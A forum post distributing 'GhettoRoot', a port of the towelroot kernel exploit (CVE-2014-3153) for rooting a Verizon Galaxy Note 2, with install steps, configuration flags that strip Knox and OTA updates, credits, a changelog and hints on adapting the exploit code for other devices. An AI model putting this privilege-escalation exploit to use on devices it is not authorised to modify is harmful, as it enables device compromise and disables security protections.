[3.18.71-perf+][root] root shell for LG V20 variants - LG V20 ROMs, Kernels, Recoveries, & Other Developm

[3.18.71-perf+][root] root shell for LG V20 variants - LG V20 ROMs, Kernels, Recoveries, & Other Developm

I made a root shell exploit based on CVE-2019-2215 for (some) 3.18 kernels. Tested on LS997 with 3.18.71-perf+ and latest (2018) patches. When you run it, it drops into a root shell. You may be able to use it to install a temp root binary, or just enjoy root privileges in the root shell. Is probably pretty buggy.
Use at your own risk. Data corruption is possible.
Download su98 from https://github.com/arpruss/cve2019-2215-3.18 . Then
Code:
adb push su98 /data/local/tmp
adb shell
cd /data/local/tmp
chmod 755 su98
./su98
Tell me what models it does or does not work on. It might work on some other phones than the LG V20, but I have no idea.
**EDITED:** I've deleted the repository due to perhaps unnecessary legal scruples induced by this article: https://www.eff.org/deeplinks/2018/...s-whittle-our-own-personal-jailbreaking-tools

...AWWW SNAP!!!. If this is the start of what I think it is...you are a super wizard. I have two ls997 7.0 ZVD 's that might love to see this. Will wait a lil further for advancement tho. Nice!

works great on H918 on latest Oreo.
use su98 to gain root shell, pull boot.img then install magisk manager and patch it then use dd to write boot back and reboot.. wayyyy easier then the other methods as far as lafsploit and dirty santa.. could prolly just dd twrp also now..
of course u need to unlick the bl first but after that ur golden.. at least on h918

Nice to hear. Can you post more detailed instructions? I don't actually know how to go from a root shell to this.
Another option is just to rename su98 as su and put it in a tmpfs at /sbin each time the device boots.

I tried it on a H990N which is on firmware H990N20d_00_OPEN_HK_DS_OP_0920.kdz (kernel 3.18.71 and patchlevel September 1st 2018) and it does not seem to work.
I executed all the commands in the terminal on my computer (not on the phone), is that the correct way to do it?
Code:
C:\adb>adb push su98 /data/local/tmp
su98: 1 file pushed. 0.9 MB/s (36216 bytes in 0.038s)
C:\adb>adb shell
elsa:/ $ cd /data/local/tmp
elsa:/data/local/tmp $ chmod 755 su98
elsa:/data/local/tmp $ ./su98
MAIN: detected kernel version 3
MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xffffffc03160b980
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xffffffc0e43e22a0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69688
PARENT: readv returns 69688, expected 69688
PARENT: clobbering test passed
CHILD: clobbered
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: task_struct_ptr = 0xffffffc015b18000
CHILD: Finished write to FIFO.
PARENT: leaking successful
MAIN: task_struct_ptr = ffffffc03160b980
MAIN: stack = ffffffc015b18000
MAIN: Clobbering addr_limit
PARENT: clobbering at 0xffffffc015b18008
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69648
PARENT: readv returns 69648, expected 69648
PARENT: clobbering test passed
MAIN: thread_info = 0xffffffc015b18000
MAIN: should have stable kernel R/W now
MAIN: searching for cred offset in task_struct
MAIN: search_base = ffffffc000000000
MAIN: searching for selinux_enforcing
MAIN: setting root credentials with cred offset 550
MAIN: UID = 0
MAIN: enabling capabilities
MAIN: SECCOMP status 0
MAIN: disabled selinux enforcing
MAIN: root privileges ready
MAIN: popping out root shell
elsa:/data/local/tmp # mount -o rw,remount /system
elsa:/data/local/tmp # cd /system/priv-app
elsa:/system/priv-app # mkdir test
mkdir: 'test': Read-only file system
1|elsa:/system/priv-app #
Am I doing something wrong or does the exploit need to be modified for the H990N?

Looks to me like the exploit gave you a root shell, which is what it's supposed to do.

Nevermind, it works. The commands for remounting /system as rw seem to be wrong.
I checked it differently now:
Code:
C:\adb>adb shell
elsa:/ $ cd /root
/system/bin/sh: cd: /root: Permission denied
2|elsa:/ $ cd /data/local/tmp
elsa:/data/local/tmp $ ./su98
MAIN: detected kernel version 3
MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xffffffc0b298dc00
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xffffffc0f23878a0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69688
PARENT: readv returns 69688, expected 69688
PARENT: clobbering test passed
CHILD: clobbered
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: task_struct_ptr = 0xffffffc068454000
CHILD: Finished write to FIFO.
PARENT: leaking successful
MAIN: task_struct_ptr = ffffffc0b298dc00
MAIN: stack = ffffffc068454000
MAIN: Clobbering addr_limit
PARENT: clobbering at 0xffffffc068454008
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69648
PARENT: readv returns 69648, expected 69648
PARENT: clobbering test passed
MAIN: thread_info = 0xffffffc068454000
MAIN: should have stable kernel R/W now
MAIN: searching for cred offset in task_struct
MAIN: search_base = ffffffc000000000
MAIN: searching for selinux_enforcing
MAIN: setting root credentials with cred offset 550
MAIN: UID = 0
MAIN: enabling capabilities
MAIN: SECCOMP status 0
MAIN: disabled selinux enforcing
MAIN: root privileges ready
MAIN: popping out root shell
elsa:/data/local/tmp # cd /root
elsa:/root # ls
elsa:/root # mkdir test
elsa:/root # ls
test
elsa:/root #
Now the question is if (and how) I can use this to get root usage like it is with dirtysanta (Magisk, mount /system rw to debloat, etc.).

I added a -n option to rejoin init namespaces (i.e., "./su98 -n"). This might help with some of the mounting issues or not. I haven't tested it.
My own plan is to just use su98 as my su and not install any other su.

H910 with 20h (Fresh Wiped)
Code:
elsa:/data/local/tmp $ ./su98
MAIN: detected kernel version 3
MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xffffffc0f4d0b980
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xffffffc0753f0ea0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69688
PARENT: readv returns 69688, expected 69688
PARENT: clobbering test passed
CHILD: clobbered
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: task_struct_ptr = 0xffffffc036020000
CHILD: Finished write to FIFO.
PARENT: leaking successful
MAIN: task_struct_ptr = ffffffc0f4d0b980
MAIN: stack = ffffffc036020000
MAIN: Clobbering addr_limit
PARENT: clobbering at 0xffffffc036020008
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69648
PARENT: readv returns 69648, expected 69648
PARENT: clobbering test passed
MAIN: thread_info = 0xffffffc036020000
MAIN: should have stable kernel R/W now
MAIN: searching for cred offset in task_struct
MAIN: search_base = ffffffc000000000
MAIN: searching for selinux_enforcing
MAIN: searching for kallsyms format strings
MAIN: patching longer version at ffffffc0014116b0
MAIN: patching shorter version at ffffffc0014116c0
MAIN: **fail** probably you have read-only const storage
found selinux_enforcing in /proc/kallsyms
MAIN: setting root credentials with cred offset 550
MAIN: UID = 0
MAIN: enabling capabilities
MAIN: SECCOMP status 0
MAIN: disabled selinux enforcing
cached ./selinux_enforcing.symbol
MAIN: root privileges ready
MAIN: popping out root shell
elsa:/data/local/tmp #
Still a bit of a noob to some of this, Now just need to know how to do a full device image from this shell, and then how to install Magisk or TWRP from this shell... Anyone point me in the right direction?

arpruss said:
Nice to hear. Can you post more detailed instructions? I don't actually know how to go from a root shell to this.
Another option is just to rename su98 as su and put it in a tmpfs at /sbin each time the device boots.
Click to expand...
Click to collapse
once u get root shell just copy boot.img to sonewhere the magisk apk can see it..
cp /dev/block/bootdevice/by-name/boot /storage/emulated/0/Download/boot.img
then open magisk manager and select insrall then patch file then navigate to your boot.img.. wait til its done..
then u write it back with root shell..
dd if=/storage/emulated/0/Download/magisk_patched.img of=/dev/block/bootdevice/by-name/boot
then simply reboot..
keep in mind bl should b unlocked when doing this.. ur basically just patching the boot.img with magisk root..

Warrentheo said:
H910 with 20h (Fresh Wiped)
Still a bit of a noob to some of this, Now just need to know how to do a full device image from this shell, and then how to install Magisk or TWRP from this shell... Anyone point me in the right direction?
Click to expand...
Click to collapse
all u gotta do forroot is patch boot.img with magisk then write it back

elliwigy said:
once u get root shell just copy boot.img to sonewhere the magisk apk can see it..
cp /dev/block/bootdevice/by-name/boot /storage/emulated/0/Download/boot.img
then open magisk manager and select insrall then patch file then navigate to your boot.img.. wait til its done..
then u write it back with root shell..
dd if=/storage/emulated/0/Download/magisk_patched.img of=/dev/block/bootdevice/by-name/boot
then simply reboot..
keep in mind bl should b unlocked when doing this.. ur basically just patching the boot.img with magisk root..
Click to expand...
Click to collapse
I thought this would work, and Magisk patched the image with no issue, but, and this is not your fault of course, but this appears to have bricked my device, and I can't get into download mode anymore... Please edit your post...

Warrentheo said:
I thought this would work, and Magisk patched the image with no issue, but, and this is not your fault of course, but this appears to have bricked my device, and I can't get into download mode anymore... Please edit your post...
Click to expand...
Click to collapse
lol i wont edit my post because u bricked.. im not responsible for u or anyone else who wants to try.. if u dont kno wat ur doing or how to recover fron mishaps then maybe you should avoid these sort of things.
With that being said, i have no idea wat device u have, wat firmware you were on, if u did anything prior, wat magisk u used, wat u had for breakfast or w.e lol.. u took it upon urself to read my post n then try to replicate it with w.e u got goin on which is ur fault. You could have asked some questions first if u were unsure or needed clarification..
to add, i did nothing outside of the normal magisk method of rooting which should b common sense at this point..
sorry for the rant but tellin me i should edit my post because you messed up ur phone was a bit much.. almost makes me wanna run away from lg again and stay in samsung forums..
Sent from my SM-N976V using Tapatalk

I've made a very simple installer apk that just uses su98 to provide a temp root, without any external su shell like supersu or magisk. The temp root can be automatically installed on each boot. It's in the releases directory of my su98 github. Note that if you've got root installed with this, SELinux is disabled.
While more sophisticated su versions have a user interface for checking whether you are willing to allow a given app to have a root shell, this version by default allows all apps to call the shell, and doesn't even give a notification about it.
But if you want, there is some rudimentary security. Use adb to create a file called /data/local/tmp/su98-whitelist.txt and list in it all the apps you want to allow access to su. (You will want to set 644 permissions for it so that apps can't modify it.) If the whitelist file exists, su98 will only allow access from apps that are listed in it. Apps that have been denied access will get logged in /data/local/tmp/su98-denied.txt . You can then add them to the whitelist manually. (Or you can add everything to it with sort < su98-denied.txt | uniq >> su98-whitelist.txt)

Phoenix591 said:
you weren't bl unlocked like his post was warning you should be (only the H918 and factory unlocked us996 can) . This exploit does have potential to allow it , but it does need to be paired with the leaked bootloader used currently with dirtysanta.
Click to expand...
Click to collapse
So in theory it would be fully possible to unlock the bootloader on H910 (for example) and acquire root all through this instead of the old method involving downgrading etc.?

elliwigy said:
lol i wont edit my post because u bricked.. im not responsible for u or anyone else who wants to try.. if u dont kno wat ur doing or how to recover fron mishaps then maybe you should avoid these sort of things.
With that being said, i have no idea wat device u have, wat firmware you were on, if u did anything prior, wat magisk u used, wat u had for breakfast or w.e lol.. u took it upon urself to read my post n then try to replicate it with w.e u got goin on which is ur fault. You could have asked some questions first if u were unsure or needed clarification..
to add, i did nothing outside of the normal magisk method of rooting which should b common sense at this point..
sorry for the rant but tellin me i should edit my post because you messed up ur phone was a bit much.. almost makes me wanna run away from lg again and stay in samsung forums..
Sent from my SM-N976V using Tapatalk
Click to expand...
Click to collapse
Lol, you sound like you have been burned for trying to help people far to many times, and if I accidentally pushed some button I was not aware of, I am sorry...(not sarcasm) I am indeed well on the Noob side of the learning curve, but if I cared about the device, I would not have tried it... I tried to head off any issues by specifically saying that I don't blame you, but somehow I failed, and for that I am also sorry... My reason for saying that you may wish to edit your post is because it is now confirmed to corrupt the bootloader, and so I had hoped to head off any issues for someone that did care about their devices... But Thank You, and don't worry about it...
Phoenix591 said:
The problem is most of the V20 variants cant bootloader unlock (only the factory unlocked us996 and h918) . But there is a leaked development bootloader (aboot) that doesn't care, its packaged with the dirtysanta exploits here.
It probably shouldn't be too hard to put together a script with your new exploit to flash the dev bootloader since you're getting a shell already.
That should get all variants working except the LS997, which is incompatible with that bootloader. (and the H918 isn't compatible with it either)
That said, this is a great exploit, and certainly can save a lot of rollback fuss.
---------- Post added at 09:07 PM ---------- Previous post was at 09:03 PM ----------
you weren't bl unlocked like his post was warning you should be (only the H918 and factory unlocked us996 can) . This exploit does have potential to allow it , but it does need to be paired with the leaked bootloader used currently with dirtysanta.
Click to expand...
Click to collapse
I have an H910 with 20h... I think this is correct, I did turn off the OEM Lock setting in dev options, and the Magisk patch seamed like it had no issues patching the boot.img dump (I use this option on my ZenFone 6 for OTA updates, looked the same), but the bootloader now shows a heavily corrupted version of a red exclamation triangle with a failed attempt at words all smeared across the screen, and just boot loops... I think Dirty Santa style alternate bootloader is the appropriate way to go here...
Anyone want a bootloader bricked H910 with freshly wiped 20h installed?

Warrentheo said:
Lol, you sound like you have been burned for trying to help people far to many times, and if I accidentally pushed some button I was not aware of, I am sorry...(not sarcasm) I am indeed well on the Noob side of the learning curve, but if I cared about the device, I would not have tried it... I tried to head off any issues by specifically saying that I don't blame you, but somehow I failed, and for that I am also sorry... My reason for saying that you may wish to edit your post is because it is now confirmed to corrupt the bootloader, and so I had hoped to head off any issues for someone that did care about their devices... But Thank You, and don't worry about it...
I have an H910 with 20h... I think this is correct, I did turn off the OEM Lock setting in dev options, and the Magisk patch seamed like it had no issues patching the boot.img dump (I use this option on my ZenFone 6 for OTA updates, looked the same), but the bootloader now shows a heavily corrupted version of a red exclamation triangle with a failed attempt at words all smeared across the screen, and just boot loops... I think Dirty Santa style alternate bootloader is the appropriate way to go here...
Anyone want a bootloader bricked H910 with freshly wiped 20h installed?
Click to expand...
Click to collapse
i just feel ur device messin up literally has nothing to do with me or wat i posted lol.. it def sounds like ur bl is locked which is the reason ur gettin the red warning.. it means u patched ur boot.img with magisk and now trimg to boot it in a locked state which is not allowed.
if u had the oem toggle on as in unlocked u could prolly run fastboot oem unlock then maybe a wipe to try n boot..
I am very familiar with DS.. I kno the deva and I was literally the first VZW V20 owner to unlock/test
Sent from my SM-N976V using Tapatalk

elliwigy said:
i just feel ur device messin up literally has nothing to do with me or wat i posted lol.. it def sounds like ur bl is locked which is the reason ur gettin the red warning.. it means u patched ur boot.img with magisk and now trimg to boot it in a locked state which is not allowed.
if u had the oem toggle on as in unlocked u could prolly run fastboot oem unlock then maybe a wipe to try n boot..
I am very familiar with DS.. I kno the deva and I was literally the first VZW V20 owner to unlock/test
Sent from my SM-N976V using Tapatalk
Click to expand...
Click to collapse
The H910 version has always been the odd one out... For some reason AT&T doesn't let it have KDZ files, and no manual firmware downloads or way to recover from bad flash, it was why I hadn't really rooted it before... Apparently the F800 Korean version is the only one that is going to get Pie, so I figured it was ripe to try and free up the lock down on this one to make it useful again... Oh well...

elliwigy said:
i just feel ur device messin up literally has nothing to do with me or wat i posted lol.. it def sounds like ur bl is locked which is the reason ur gettin the red warning.. it means u patched ur boot.img with magisk and now trimg to boot it in a locked state which is not allowed.
if u had the oem toggle on as in unlocked u could prolly run fastboot oem unlock then maybe a wipe to try n boot..
I am very familiar with DS.. I kno the deva and I was literally the first VZW V20 owner to unlock/test
Sent from my SM-N976V using Tapatalk
Click to expand...
Click to collapse
Only the H918 (plain fastboot oem unlock, but fastboot is neutered to prevent actually flashing anything) and factory unlocked us996 (can unlock bootloader by flashing file generated through LG's website) can actually unlock the bootloader in fastboot.
That's why your this exploit plus the bootloader used with dirty Santa would be great combo.

Related

Auto Keystore Unlocker

Hey Guys,
I know there is an app in the market already Keystore Unlocker, but it doesnt seem to work with the latest su binary. Does anyone know if there is a way to disable the password requirement for stored certificates. It would be a useful feature to bake into some roms or even a new app that works with latest su.
I decomplied the apk for Keystore Unlocker but it was no help. I emailed the developer and asked if he would either update the app and make it paid (99 cents wouldnt be too much) or release the source for us to use for future projects.
Let me know if you guys have any ideas.

Same issue on HTC Incredible, Stock + Root ROM 2.3.4. Really annoying, anyone know a fix? My initial thinking is it's at kernel layer, as Hot Reboot doesn't cause issue but a "full" reboot does. Anybody have a suggestion on fix or workaround?

+1
Would love to bypass the credential storage. It literally decimates the battery trying to log into a credentialed WiFi (try/fail/try/fail) if you don't happen to notice that you haven't done the credential yet.

+1
I have mailed to the app's author, perhaps he has a solution.
Does anybody knows what exactly the app does? Is there a way by command line to activate the credential storage? (so it could be done in autostart)?

There are two possibilities to unlock the keystore. Both need to be run under UID=1000!
1) You have an AOSP based ROM, like Cyanogen:
There is a tool called "keystore_cli", which provides basic access to the keystore by commandline.
Simply run
Code:
su -c 'keystore_cli u <password>' 1000
to unlock it.
Other options are can be found in keystore.c:
Code:
static struct action {
int8_t (*run)();
int8_t code;
int8_t state;
uint32_t perm;
int lengths[MAX_PARAM];
} actions[] = {
{test, 't', 0, TEST, {0}},
{get, 'g', NO_ERROR, GET, {KEY_SIZE}},
{insert, 'i', NO_ERROR, INSERT, {KEY_SIZE, VALUE_SIZE}},
{delete, 'd', 0, DELETE, {KEY_SIZE}},
{exist, 'e', 0, EXIST, {KEY_SIZE}},
{saw, 's', 0, SAW, {KEY_SIZE}},
{reset, 'r', 0, RESET, {0}},
{password, 'p', 0, PASSWORD, {PASSWORD_SIZE, PASSWORD_SIZE}},
{lock, 'l', NO_ERROR, LOCK, {0}},
{unlock, 'u', LOCKED, UNLOCK, {PASSWORD_SIZE}},
{NULL, 0 , 0, 0, {0}},
};
I guess you can figure them out, if you want to.
2) You don't have the keystore_cli tool:
a) You might be able to use a keystore_cli binary from another rom
b) Use unix domain sockets to communicate with the keystore.
The socket is under /dev/socket/keystore.
To access this, you'd have to write a small c programm and use the socket(), write() syscalls.
Luckily. this is exactly what that "keystore unlocker" from the market does.
It comes with a small native executable located at
Code:
/data/data/ru.chunky.AutoKeystore/lib/libkeystorecmd-executable.so
which reads input to send to the socket from stdin.
The format is:
Code:
<code><length1><message1>...
Where <code> would be 'u' to unlock
<length> would be the length of the password as 16bit unsigned int
<message> would be the string representation of the password
In this example the password is "password", which is 8 characters long.
So the length would have to be \0000\0008 and the message to send to the socket
Code:
u\0000\0008password
Running
Code:
su -c "echo -e 'u\0000\0008password' | /data/data/ru.chunky.AutoKeystore/lib/libkeystorecmd-executable.so" 1000
should show a result of
Code:
1
in the commandline, if successful and the keystore should be unlocked.

it sounds brilliant!
Do you have any idea what is the problem with the app and actual su versions?

Awesome find man, shame is ICS fixed this bug. It just requires a pattern lock or pin lock. I wish we could find a workaround for this....
Sent from my HTC Rezound

stm999999999 said:
it sounds brilliant!
Do you have any idea what is the problem with the app and actual su versions?
Click to expand...
Click to collapse
Nope, no idea.
I worked around it like this (cyanogenmod):
In /data/local/userinit.sh I put
Code:
#!/system/bin/sh
nohup /data/local/keystoreunlock_delayed.sh > /dev/null 2> /dev/null &
and the file /data/local/keystoreunlock_delayed.sh contains:
Code:
#!/system/bin/sh
sleep 60
su -c 'keystore_cli u <password>' 1000
The 60 second delay makes sure the phone has already initialized the keystore.
It's a bit of a diry way to do it, but this way it works without any android app.

To test this on my device, I made a file /data/keystoreunlock_delayed.sh
#!/system/bin/sh
su -c 'keystore_cli u <password>' 1000
and execute it within root explorer. But nothing happens!?
I tried su -c 'keystore_cli u <password>' 1000 in terminal Emulator, I got permission denied. I have to do a "su" before, without any parameters, then superuser asks for permission, and then the long command worked.

stm999999999 said:
To test this on my device, I made a file /data/keystoreunlock_delayed.sh
#!/system/bin/sh
su -c 'keystore_cli u <password>' 1000
and execute it within root explorer. But nothing happens!?
Click to expand...
Click to collapse
I forgot the permission 0755. It was 0555.

Can I download keystore_cli somewhere so I can use this script?
I have /system/bin/keystore but not keystore_cli on the rooted 2.3.4 OTA. Using HTC Incredible and would like to use this workaround script.
EDIT: I now realize this is in the Rezound forum. I found this thread by Google search but couldn't find much else on keystore_cli other than zip extract logs.

hm, I do not use a Rezound, too. I have a Desire.
Are you sure, this file is not an integral part of android?
I found one version on dropbox: https://www2.dropbox.com/s/cuu6hm8dvi3jxh5/BI/system/bin/keystore_cli
but I cannot say anything about this file. If it is genuine and ok.
What about asking in an Incredible subforum?

AutoKeystore fixed
I've just resolved "newer su" issue with ru.chunky.AutoKeystore and added password-less VPN Wizard there.

[Root][4.4.2 ND7]GhettoRoot (Towelroot port) v0.3.2

GhettoRoot (Towelroot port) v0.3.0.1, v0.3.2 Testing (looking for new owner)
Code:
*** Disclaimer
This project is licensed under the GPLv3. Bundled third-party components
have different licenses, but these components are bundled or downloaded
as separate executables; all appropriate LICENSE files are included, along
with links to source code.
THIS UTILITY MAKES USE OF A KERNEL EXPLOIT TO GAIN ROOT PRIVILEGES
AND MAKE MODIFICATIONS TO YOUR DEVICE'S FILESYSTEM. IT WILL
PROBABLY WILL VOID YOUR WARRANTY. IF YOU DO NOT FOLLOW THE
INSTRUCTIONS, YOU COULD END UP WITH A BRICK. EVEN IF YOU DO
FOLLOW THE INSTRUCTIONS, YOU MIGHT END UP WITH A BRICK.
ROOTING IS A POTENTIALLY DANGEROUS PROCESS AND, WHILE I WILL TRY
TO HELP IF YOU HAVE TROUBLE, I CANNOT ACCEPT RESPONSIBILITY
FOR RANDOM MISFORTUNE, COSMIC RAYS, ETC.
Help Wanted
My activity with this project will be diminishing. As far as I know, everything as of now "just works" with the SCH-I605, and that's all I really wanted to accomplish from the start. I'm hoping someone will take it over -- ideally someone who'd be willing to look into fixing the code to support other devices. It's open-source, so you can start looking at it now and see if you're interested. Compiling is simple... Just install the NDK and use ndk-build, or 'make' in Linux.
If you'd like to take over the development, and you've worked on projects like this before, I'd greatly appreciate it; perhaps we can get a mod to transfer this thread to you, or you're free to start a new one. After a certain point, I'll stop monitoring threads and messages, so you're free to go ahead and take charge without waiting to hear from me, if you'd like.
Post elsewhere, if you'd like, to let people know that this code is available and might be adjustable for other devices. It really shouldn't be difficult for someone with a background with this stuff.
Problematic areas are likely the iov code (search "Not sure if this is entirely correct") and also the limit_offset stuff (search "ph->limit_offset != 0"), but I have no way of knowing for sure if there's anything wrong with limit_offset since I don't have an applicable Samsung device. There are scattered references to the sources I used to figure out some of this in the README and in ghettoroot.c itself.
That's all, folks. Thanks.
Introduction
This is an automatic root method for your Note 2 (or, potentially, other device) based on code for the CVE-2014-3153 exploit.Unlike towelroot, it is a tethered root in that it requires you to connect your device to a computer to perform the root. However, it only requires a computer the one time; root sticks.
This code appears to have been reverse-engineered from towelroot itself (but not the latest version), so Geohot gets the credit for this one. This is more like a bugfix which only works (for sure) with the Verizon Galaxy Note II so far. The changes from the towelroot-equivalent exploit code are incredibly minimal. Only a few lines of code need really be changed to get it working, but devices incompatible with towelroot are becoming ghetto, so there wasn't a lot of motivation for the problems to be investigated.
GhettoRoot attempts to walk you through the prerequisites for the rooting process and give you hints if there are problems; it does the dirty work itself.
Click to expand...
Click to collapse
Installation instructions
Please see the LICENSE file for details on copying and usage (GPLv3).
This software will attempt to root your device and might void its warranty.
Please BACK UP ANYTHING IMPORTANT before continuing.
Note: By default, v0.3.0.1 attempts to disable Knox and OTA update packages.
If you'd rather this not happen, scroll to CONFIGURATION.
Install USB drivers for your device if needed, for Windows.
Koush's drivers are a good bet. 'Download Windows Installer', and run:
https://github.com/koush/UniversalAdbDriver
Download the busybox-arm4vl binary. The installer will help you with this.
You can get it manually from http://www.busybox.net, specifically from
http://www.busybox.net/downloads/binaries/latest
Place the binary in the files/ folder. It will be automatically renamed
to 'busybox'.
Enable USB debugging. If necessary, go to 'About device' under Settings and tap
the Build number several times to enable the Developer options. Go back, and
go to Developer options, and enable USB debugging there.
Plug in your device to your computer.
Unlock your device's lockscreen if it is locked.
Manually choose a USB mode from the notification, or wait for the Installer mode
phase of USB to end, which takes about 30 seconds. If your device does not have
an Installer mode, skip this. If you're not sure, just wait the 30 seconds.
If/when a popup appears asking for authorization for your PC, allow it.
If a popup does not appear and has never appeared before, or you clicked Cancel,
or you're just having a lot of trouble, go to Developer option and toggle USB
debugging off and on again. Then, try again. You may need to disconnect and re-
connect your device or tap Revoke USB authorization if nothing seems to help.
On Linux or OS X, enter a terminal at the folder you extracted the zip file to,
and type chmod +x INSTALL.sh.
To run, execute INSTALL.cmd on Windows.
On Linux or OS X, type the following in the same terminal: ./INSTALL.sh
Follow the on-screen instructions.
Click to expand...
Click to collapse
Configuration
v0.3.2 config.txt details:
Code:
Open up config.txt, and customize as follows, adding or removing arguments
as you see fit. It should always start with ./root.sh
*** ENSURE THE CONTENTS OF config.txt IS A *SINGLE LINE*.
*** COMMENTS WITHIN config.txt ARE NOT PERMITTED.
Default: ./root.sh --root --deknox --deota --desurveillance
Former default: ./root.sh --root --disable-knox --disable-ota
Usage: ./root.sh [OPTION] [COMMAND]
With no arguments, --root is implied.
Main options
--root, --supersu Install SuperSU (permaroot)
--deknox Remove Knox (recommended)
--deota Remove OTA packages (recommended)
--debloat Remove Bloat (recommended)
--desurveillance Remove some surveillance (recommended)
--disable-ota Disable OTA update-related packages
--disable-knox Disable Knox packages
--really-remove Actually remove things instead of
putting them in $jaildir
--undo Try to undo the specified option.
If you had used --really-remove then
it won't work for deknox, debloat, deota.
Anti-convenience options
--no-mount-rw Don't mount / and /system read-write
--no-sepermissive Don't set SEAndroid to permissive
--no-chmod-scripts Don't chmod 0755 all scripts in
$TMPDIR
COMMAND: Command to be run after other options.
Arguments may follow.
If unspecified, will look for and run custom.sh.
ex. ./root.sh --root
./root.sh --root --undo
./root.sh --root --deknox --deota --debloat
./root.sh cp /sdcard/build.prop /system/build.prop
[/HIDE]
Thanks To/Credits
Code:
geohot for developing [URL="http://forum.xda-developers.com/showthread.php?t=2783157"][U]towelroot[/U][/URL], on which
this code is DIRECTLY based! Reverse-engineered/decompiled, but not by me.
I don't think anyone had a licensing claim on towelroot or this code so I made it GPLv3.
fi01 for his shared [URL="https://gist.github.com/fi01/a838dea63323c7c003cd"][U]exploit code[/U][/URL] on github:
tinyhack.com for the [URL="http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/"][U]helpful post on the Futex bug[/U][/URL]:
chainfire, for [URL="http://forum.xda-developers.com/showthread.php?t=1538053"][U]SuperSU[/U][/URL]!
THANK YOU for the lenient distribution policy.
NetworkingPro at xda-developers for the assistance to all. :)
Other folks at xda-developers for testing and offering support.
Google, of course, and the Android Open Source Project.
Changelog & Download
A note on v0.3.2 Testing:
Code:
WARNING: ESPECIALLY with this version, PLEASE make sure you have backups of
your important applications and their data!
Alternatively, you might be safer changing config.txt to the
old value as listed below.
Code:
This version is called 'Testing' because I haven't really had time to test it
fully, and there's a bunch of new stuff, namely the de* (*-removal) scripts.
I DON'T KNOW HOW WELL THE DE* CODE WORKS. You may want to give me some time
to see how my device holds up before testing yourself, or check out
files/root.sh to see what the new stuff does, but I do need other people to
test as well, so I've changed the config.txt to include the new features,
sans --debloat.
If you DO NOT want to try the new features, change config.txt to the following:
./root.sh --root --disable-knox --disable-ota
However, even the --disable-knox and --disable-ota code has changed.
Your mileage may vary!
Search files/root.sh for ### DEBLOAT, ### DEKNOX, ### DEOTA, ## DESURVEILLANCE,
etc. to see exactly what they do.
Code:
Current changelog: [U][B][URL="http://forum.xda-developers.com/devdb/project/dl/?id=8457"]v0.3.2 [I]Testing[/I][/URL][/B][/U] (2014/09/08)
[fixed?] drowsy attempt to fix a silly bug with default modstring
[new] new default config.txt: --deknox, --deota, --desurveillance
[new] --deknox, --deota, --debloat, --desurveillance, --really-remove,
--undo features added. See README.txt or search files/root.sh
for ### DEBLOAT, ### DEKNOX, ### DEOTA, ## DESURVEILLANCE,
etc. to see exactly what they do.
[change] starting to change verbage from 'phone' to 'device'
[note] v0.3.1 would have been too confusing, so straight to v0.3.2.
[U][B][URL="http://forum.xda-developers.com/devdb/project/dl/?id=8439"]Download v0.3.0.1[/URL][/B][/U] (2014/09/07)
[fixed] Issue with find.exe when other find executables are in PATH.
[URL="http://forum.xda-developers.com/devdb/project/dl/?id=8438"]v0.3.0 (2014/09/07)[/URL]
[new] License: this project is licensed under GPLv3.
[new] Added ADB binaries for Linux and Mac OS X.
[note] This means we have experimental & untested support for Intel Macs
[changed] Restructuring of post-root procedures:
No more hard-coded commands for installing SuperSU, etc.
These things are present in files/root.sh instead, and
may be freely edited.
[changed] Command-line parameters have DRASTICALLY changed.
See the README.txt.
[new] Added modstrings.txt, config.txt
[changed] Busybox no longer bundled due to licensing concerns;
curl added for downloading busybox, instead.
Older changelogs:
Code:
v0.2.2 (2014/09/04)
Fixed INSTALL.cmd hanging when launching ADB, or not running
properly as an administrator.
Further improved error handling, with more detailed steps for
troubleshooting, and retries.
User acknowledgment now required for certain tasks with (Y/N).
Fixed date on previous update being in the future... Hmm...
v0.2.1 (2014/09/03)
** pulled, did not fix adb hang issue after all **
v0.2 (2014/09/03)
Code cleaned up a bit, but still gives verbose debug messages
since they might be important. Can disable those with --brief.
Some error handling in the install script.
Everything is orchestrated from a single batch file ("one-click",
though multiple scripts are still used internally).
Should work properly with Windows and Linux, and come
bundled with ADB for Windows. Thanks, NetworkingPro!
v0.1 (2014/08/31)
Initial release.
LINK TO FORMER THREAD HERE
Apologies in advance for any kind of faux pas I've made or rule I've broken. There always seems to be something...
Code:
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* GhettoRoot is free software: you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation, either version 3 of the License, or *
* (at your option) any later version. *
* *
* GhettoRoot is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
